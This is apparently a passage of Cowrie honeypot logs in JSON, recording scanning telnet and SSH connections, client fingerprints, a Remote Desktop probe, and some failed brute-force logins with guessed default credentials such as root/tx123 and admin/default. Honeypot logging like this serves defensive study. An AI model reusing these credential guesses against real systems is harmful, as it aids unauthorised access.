{"eventid":"cowrie.session.closed","duration":48.21833348274231,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:25.492569Z","src_ip":"192.119.13.58","session":"18d8161fb2f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.631559610366821,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:25.715024Z","src_ip":"192.119.13.58","session":"3b66bf3537e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42940,"dst_ip":"10.17.0.5","dst_port":23,"session":"25641741a236","protocol":"telnet","message":"New connection: 192.119.13.58:42940 (10.17.0.5:23) [session: 25641741a236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:27.387447Z"}
{"eventid":"cowrie.session.closed","duration":46.60385990142822,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:29.291347Z","src_ip":"192.119.13.58","session":"9dfca2805c45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.025322914123535,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:31.797616Z","src_ip":"192.119.13.58","session":"403cba310a58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.226.124","src_port":15085,"dst_ip":"10.17.0.5","dst_port":22,"session":"804bd662308c","protocol":"ssh","message":"New connection: 115.68.226.124:15085 (10.17.0.5:22) [session: 804bd662308c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:32.406375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:32.410937Z","src_ip":"115.68.226.124","session":"804bd662308c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:32.612413Z","src_ip":"115.68.226.124","session":"804bd662308c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.54482555389404,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:32.895880Z","src_ip":"192.119.13.58","session":"2261fee35e22","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"tx123","message":"login attempt [root/tx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:33.449697Z","src_ip":"115.68.226.124","session":"804bd662308c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:34.657245Z","src_ip":"115.68.226.124","session":"804bd662308c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45900,"dst_ip":"10.17.0.5","dst_port":23,"session":"43569452c23a","protocol":"telnet","message":"New connection: 192.119.13.58:45900 (10.17.0.5:23) [session: 43569452c23a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:34.856745Z"}
{"eventid":"cowrie.session.closed","duration":42.16299819946289,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:35.009371Z","src_ip":"192.119.13.58","session":"3a1d7db59f60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48476,"dst_ip":"10.17.0.5","dst_port":23,"session":"e726bd0a50c4","protocol":"telnet","message":"New connection: 192.119.13.58:48476 (10.17.0.5:23) [session: e726bd0a50c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:35.429245Z"}
{"eventid":"cowrie.session.closed","duration":31.630173206329346,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:36.004857Z","src_ip":"192.119.13.58","session":"b2970db6e9e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.49783754348755,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:36.598406Z","src_ip":"192.119.13.58","session":"81c621cbd542","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57756,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd3d6f605631","protocol":"telnet","message":"New connection: 192.119.13.58:57756 (10.17.0.5:23) [session: cd3d6f605631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:37.730392Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42170,"dst_ip":"10.17.0.5","dst_port":23,"session":"93abc6a2e6e8","protocol":"telnet","message":"New connection: 192.119.13.58:42170 (10.17.0.5:23) [session: 93abc6a2e6e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:40.937977Z"}
{"eventid":"cowrie.session.closed","duration":33.32551455497742,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:41.615446Z","src_ip":"192.119.13.58","session":"aa47b45b70dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48234,"dst_ip":"10.17.0.5","dst_port":23,"session":"374fad8df1da","protocol":"telnet","message":"New connection: 192.119.13.58:48234 (10.17.0.5:23) [session: 374fad8df1da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:42.509887Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.9.74","src_port":56662,"dst_ip":"10.17.0.5","dst_port":22,"session":"46d7710de933","protocol":"ssh","message":"New connection: 103.164.9.74:56662 (10.17.0.5:22) [session: 46d7710de933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:48.852199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:48.856814Z","src_ip":"103.164.9.74","session":"46d7710de933","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46346,"dst_ip":"10.17.0.5","dst_port":23,"session":"936af0737ca7","protocol":"telnet","message":"New connection: 192.119.13.58:46346 (10.17.0.5:23) [session: 936af0737ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:48.897351Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46702,"dst_ip":"10.17.0.5","dst_port":23,"session":"886f6afc67fb","protocol":"telnet","message":"New connection: 192.119.13.58:46702 (10.17.0.5:23) [session: 886f6afc67fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:48.982253Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:49.067658Z","src_ip":"103.164.9.74","session":"46d7710de933","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cesar123","message":"login attempt [root/cesar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:49.928555Z","src_ip":"103.164.9.74","session":"46d7710de933","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.15.216","src_port":54026,"dst_ip":"159.203.135.109","dst_port":22,"session":"344b3483570f","protocol":"ssh","message":"New connection: 116.110.15.216:54026 (159.203.135.109:22) [session: 344b3483570f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:50.051085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:50.100868Z","src_ip":"116.110.15.216","session":"344b3483570f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:50.359905Z","src_ip":"116.110.15.216","session":"344b3483570f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54100,"dst_ip":"10.17.0.5","dst_port":23,"session":"70af1ca80b82","protocol":"telnet","message":"New connection: 192.119.13.58:54100 (10.17.0.5:23) [session: 70af1ca80b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:50.807332Z"}
{"eventid":"cowrie.session.closed","duration":37.752129554748535,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:50.859691Z","src_ip":"192.119.13.58","session":"cf3dfafb9055","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:51.137807Z","src_ip":"103.164.9.74","session":"46d7710de933","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"default","message":"login attempt [admin/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:51.597817Z","src_ip":"116.110.15.216","session":"344b3483570f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.647593021392822,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:52.054834Z","src_ip":"112.184.169.169","session":"8bc0d1745745","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.67492938041687,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:52.736404Z","src_ip":"192.119.13.58","session":"54b4bf7c9a98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:52.907472Z","src_ip":"116.110.15.216","session":"344b3483570f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35858,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9b9ea0c731a","protocol":"telnet","message":"New connection: 192.119.13.58:35858 (10.17.0.5:23) [session: e9b9ea0c731a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:53.221667Z"}
{"eventid":"cowrie.session.closed","duration":38.771405935287476,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:55.262890Z","src_ip":"192.119.13.58","session":"5a3acfc2b9d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44760,"dst_ip":"10.17.0.5","dst_port":23,"session":"d32dd4ddc6d4","protocol":"telnet","message":"New connection: 192.119.13.58:44760 (10.17.0.5:23) [session: d32dd4ddc6d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:55.414673Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46522,"dst_ip":"10.17.0.5","dst_port":23,"session":"15ca88e03e17","protocol":"telnet","message":"New connection: 192.119.13.58:46522 (10.17.0.5:23) [session: 15ca88e03e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:55.863336Z"}
{"eventid":"cowrie.session.closed","duration":45.10164952278137,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:57.797904Z","src_ip":"192.119.13.58","session":"2b2f855b0371","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.16647481918335,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:59.404235Z","src_ip":"192.119.13.58","session":"8a43a17e2235","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.84022617340088,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:00.173563Z","src_ip":"192.119.13.58","session":"8130aa639cd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36164,"dst_ip":"10.17.0.5","dst_port":23,"session":"1742560c99c2","protocol":"telnet","message":"New connection: 192.119.13.58:36164 (10.17.0.5:23) [session: 1742560c99c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:00.224204Z"}
{"eventid":"cowrie.session.closed","duration":44.00822472572327,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:01.386437Z","src_ip":"192.119.13.58","session":"f20b6ee175d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47812,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b61940ea0e8","protocol":"telnet","message":"New connection: 192.119.13.58:47812 (10.17.0.5:23) [session: 4b61940ea0e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:03.033408Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":54458,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ffbcb2d4ccd","protocol":"ssh","message":"New connection: 152.42.212.128:54458 (159.203.135.109:22) [session: 2ffbcb2d4ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:04.740324Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:04.752332Z","src_ip":"152.42.212.128","session":"2ffbcb2d4ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:04.761227Z","src_ip":"152.42.212.128","session":"2ffbcb2d4ccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57540,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdf76ed89d9a","protocol":"telnet","message":"New connection: 192.119.13.58:57540 (10.17.0.5:23) [session: cdf76ed89d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:05.392127Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36686,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fab3ad2ebce","protocol":"telnet","message":"New connection: 192.119.13.58:36686 (10.17.0.5:23) [session: 0fab3ad2ebce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:07.237517Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47450,"dst_ip":"10.17.0.5","dst_port":23,"session":"da508b13bb52","protocol":"telnet","message":"New connection: 192.119.13.58:47450 (10.17.0.5:23) [session: da508b13bb52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:09.835649Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48042,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a85e58d65f2","protocol":"telnet","message":"New connection: 192.119.13.58:48042 (10.17.0.5:23) [session: 6a85e58d65f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:09.984426Z"}
{"eventid":"cowrie.session.closed","duration":9.533779382705688,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:12.567091Z","src_ip":"192.119.13.58","session":"4b61940ea0e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39998,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b82eb4268b7","protocol":"telnet","message":"New connection: 192.119.13.58:39998 (10.17.0.5:23) [session: 9b82eb4268b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:15.015196Z"}
{"eventid":"cowrie.session.closed","duration":37.46981716156006,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:15.200042Z","src_ip":"192.119.13.58","session":"cd3d6f605631","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":51138,"dst_ip":"10.17.0.5","dst_port":22,"session":"039565bfc2c0","protocol":"ssh","message":"New connection: 103.27.238.120:51138 (10.17.0.5:22) [session: 039565bfc2c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:15.695541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:13:15.700786Z","src_ip":"103.27.238.120","session":"039565bfc2c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 